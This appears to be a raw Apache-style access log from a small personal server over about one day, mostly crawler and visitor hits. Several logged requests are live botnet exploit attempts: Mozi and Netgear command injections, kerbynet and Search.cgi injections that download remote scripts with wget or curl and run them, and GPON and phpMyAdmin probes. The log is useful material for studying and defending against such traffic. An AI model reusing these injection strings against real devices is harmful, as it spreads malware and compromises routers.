Fri Sep 18 06:26:16 MDT 2020 06:26:16 up 29 days, 17:45, 1 user, load average: 5.13, 3.65, 3.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Aug20 29days 1:58m 3.75s /usr/bin/lxsession -s LXDE-pi -e LXDE 78.38.43.241 - - [18/Sep/2020:12:26:52 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 61.219.11.153 - - [18/Sep/2020:13:28:42 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 192.241.239.9 - - [18/Sep/2020:13:30:35 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 66.249.73.125 - - [18/Sep/2020:13:35:22 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Jim.Misc.2/Mike%2C%20Ruth%20Ann%20Watterson%20Thomson.tif HTTP/1.1" 304 0 "" "Googlebot-Image/1.0" 66.249.73.125 - - [18/Sep/2020:13:46:44 +0000] "GET /ac0xl/Dont-Be-Evil/Leadership%20Training/Unconscious%20Bias%20%40%20Work%20%28Self%20Study%20Video%29%20-%20Grow.pdf HTTP/1.1" 200 84041 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.73.123 - - [18/Sep/2020:14:16:39 +0000] "GET /ac0xl/logs/2020.03.20 HTTP/1.1" 200 12296 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 62.76.26.92 - - [18/Sep/2020:15:44:50 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 111.225.149.82 - - [18/Sep/2020:16:28:36 +0000] "GET /ac0xl/www/slackbook/security-depth:6 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)" 27.7.165.137 - - [18/Sep/2020:17:39:02 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://27.7.165.137:51234/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 0 "" "Hello, world" 27.105.194.143 - - [18/Sep/2020:18:20:55 +0000] "GET / HTTP/1.1" 400 0 "" "" 213.81.220.21 - - [18/Sep/2020:18:40:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 219.93.243.6 - - [18/Sep/2020:19:25:33 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 115.85.32.210 - - [18/Sep/2020:19:27:41 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 115.85.32.210 - - [18/Sep/2020:19:27:41 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 66.249.72.49 - - [18/Sep/2020:20:24:10 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Jim.Misc.2/Awards%20Night%201983.tif HTTP/1.1" 304 0 "" "Googlebot-Image/1.0" 185.153.199.12 - - [18/Sep/2020:20:31:01 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 121.121.112.219 - - [18/Sep/2020:20:33:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 115.98.103.30 - - [18/Sep/2020:20:44:27 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 0 "" "Hello, World" 66.249.72.49 - - [18/Sep/2020:20:58:13 +0000] "GET /ac0xl/Dont-Be-Evil/Fake%20News/Google%20Resume%20-%20Maricia%20Scott.pdf HTTP/1.1" 200 176358 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.241.233.233 - - [18/Sep/2020:21:27:23 +0000] "GET /portal/redlion HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 45.148.10.28 - - [18/Sep/2020:21:56:47 +0000] "GET /config/getuser?index=0 HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" 74.120.14.34 - - [18/Sep/2020:22:04:00 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 74.120.14.34 - - [18/Sep/2020:22:04:01 +0000] "GET / HTTP/1.1" 200 25000 "" "" 74.120.14.34 - - [18/Sep/2020:22:04:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 51.89.118.93 - - [18/Sep/2020:22:11:30 +0000] "GET /ac0xl/logs/2019.11.22 HTTP/1.1" 200 176593 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 9; Redmi Note 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36" 51.89.118.93 - - [18/Sep/2020:22:12:29 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 51.89.118.93 - - [18/Sep/2020:22:12:29 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 80.82.65.213 - - [18/Sep/2020:22:57:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" 3.81.245.94 - - [18/Sep/2020:23:05:18 +0000] "GET / HTTP/1.1" 200 25000 "" ""Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"" 45.148.10.65 - - [18/Sep/2020:23:09:36 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 404 0 "http://162.250.19.7:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 102.134.119.121 - - [18/Sep/2020:23:18:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 185.172.111.202 - - [18/Sep/2020:23:31:11 +0000] "GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://185.172.111.196/awGawgf.sh%20-O%2 HTTP/1.0" 404 0 "" "" 185.172.111.202 - - [18/Sep/2020:23:34:22 +0000] "GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://185.172.111.196/awGawgf.sh%20-O%2 HTTP/1.0" 404 0 "" "" 89.248.172.149 - - [18/Sep/2020:23:34:49 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 89.248.172.149 - - [18/Sep/2020:23:34:50 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 89.248.172.149 - - [18/Sep/2020:23:34:50 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 89.248.172.149 - - [18/Sep/2020:23:34:50 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 89.248.172.149 - - [18/Sep/2020:23:34:51 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 89.248.172.149 - - [18/Sep/2020:23:34:51 +0000] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 66.249.72.45 - - [19/Sep/2020:00:20:34 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/gallery-pictures/ HTTP/1.1" 200 25000 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 187.60.183.27 - - [19/Sep/2020:00:22:31 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 0 "" "Hello, World" 66.249.72.47 - - [19/Sep/2020:01:17:09 +0000] "GET /ads.txt HTTP/1.1" 404 0 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 27.6.169.93 - - [19/Sep/2020:01:34:18 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.6.169.93:36223/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 0 "" "" 45.168.122.245 - - [19/Sep/2020:01:38:18 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 66.249.72.49 - - [19/Sep/2020:01:41:30 +0000] "GET /ac0xl/logs/2020.03.20 HTTP/1.1" 200 12296 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.45 - - [19/Sep/2020:02:25:05 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/0-Raw-Data/Jim.Misc.2/Peggy%20%26%20Pat%204.tif HTTP/1.1" 304 0 "" "Googlebot-Image/1.0" 177.190.70.184 - - [19/Sep/2020:02:25:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 177.84.40.149 - - [19/Sep/2020:02:34:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 167.248.133.33 - - [19/Sep/2020:03:31:27 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 167.248.133.33 - - [19/Sep/2020:03:31:28 +0000] "GET / HTTP/1.1" 200 25000 "" "" 167.248.133.33 - - [19/Sep/2020:03:31:29 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 60.243.251.218 - - [19/Sep/2020:04:01:38 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://60.243.251.218:60054/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 0 "" "Hello, world" 27.7.92.6 - - [19/Sep/2020:04:30:25 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://27.7.92.6:45004/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 0 "" "Hello, world" 218.32.211.117 - - [19/Sep/2020:04:59:38 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" 218.32.211.117 - - [19/Sep/2020:05:05:49 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" 23.90.145.52 - - [19/Sep/2020:05:16:13 +0000] "GET / HTTP/1.0" 200 25000 "" "" 23.90.145.52 - - [19/Sep/2020:05:16:40 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 177.68.111.202 - - [19/Sep/2020:05:19:31 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 218.32.211.117 - - [19/Sep/2020:05:20:17 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" 218.32.211.113 - - [19/Sep/2020:05:36:42 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" 45.148.10.28 - - [19/Sep/2020:05:57:34 +0000] "GET /config/getuser?index=0 HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" 66.249.72.49 - - [19/Sep/2020:06:06:57 +0000] "GET /ac0xl/Basiago-Andrew/darpa-pegasus.htm.pdf HTTP/1.1" 200 851527 "" "Googlebot/2.1 (+http://www.google.com/bot.html)" 66.249.72.47 - - [19/Sep/2020:06:26:13 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/1946.Green.River.Yearbook/Juniors%203.tif HTTP/1.1" 200 16387410 "" "Googlebot-Image/1.0" 66.249.72.45 - - [19/Sep/2020:07:31:34 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.47 - - [19/Sep/2020:07:32:43 +0000] "GET /ac0xl/www/2005-museumarchives/Raw-Data/1946.Green.River.Yearbook/Elementary%20%28Junior%20High%29%204.tif HTTP/1.1" 200 16435938 "" "Googlebot-Image/1.0" 103.117.33.99 - - [19/Sep/2020:07:35:50 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 202.172.18.25 - - [19/Sep/2020:08:32:34 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 66.249.72.47 - - [19/Sep/2020:09:23:52 +0000] "GET /ac0xl/Dont-Be-Evil/Machine%20Learning%20Fairness/ML%20Fairness-resources.pdf HTTP/1.1" 200 153357 "" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.47 - - [19/Sep/2020:09:33:14 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/6021B.jpg HTTP/1.1" 404 0 "" "Googlebot-Image/1.0" 45.33.8.69 - - [19/Sep/2020:09:40:37 +0000] "GET / HTTP/1.1" 200 25000 "" "=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 66.249.72.45 - - [19/Sep/2020:10:25:04 +0000] "GET /ac0xl/www/2003-ArchHunterBooks/images/2016s.jpg HTTP/1.1" 404 0 "" "Googlebot-Image/1.0" 121.226.47.14 - - [19/Sep/2020:10:51:10 +0000] "GET /phpmyadmin/ HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 192.241.219.56 - - [19/Sep/2020:11:06:43 +0000] "GET /hudson HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 36.72.148.33 - - [19/Sep/2020:11:06:50 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 36.73.32.181 - - [19/Sep/2020:11:08:56 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 218.32.211.113 - - [19/Sep/2020:11:32:53 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" 218.32.211.113 - - [19/Sep/2020:11:32:54 +0000] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 404 0 "" "" Sat Sep 19 06:26:11 MDT 2020 06:26:12 up 30 days, 17:45, 1 user, load average: 4.56, 3.38, 3.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Aug20 30days 2:01m 4.23s /usr/bin/lxsession -s LXDE-pi -e LXDE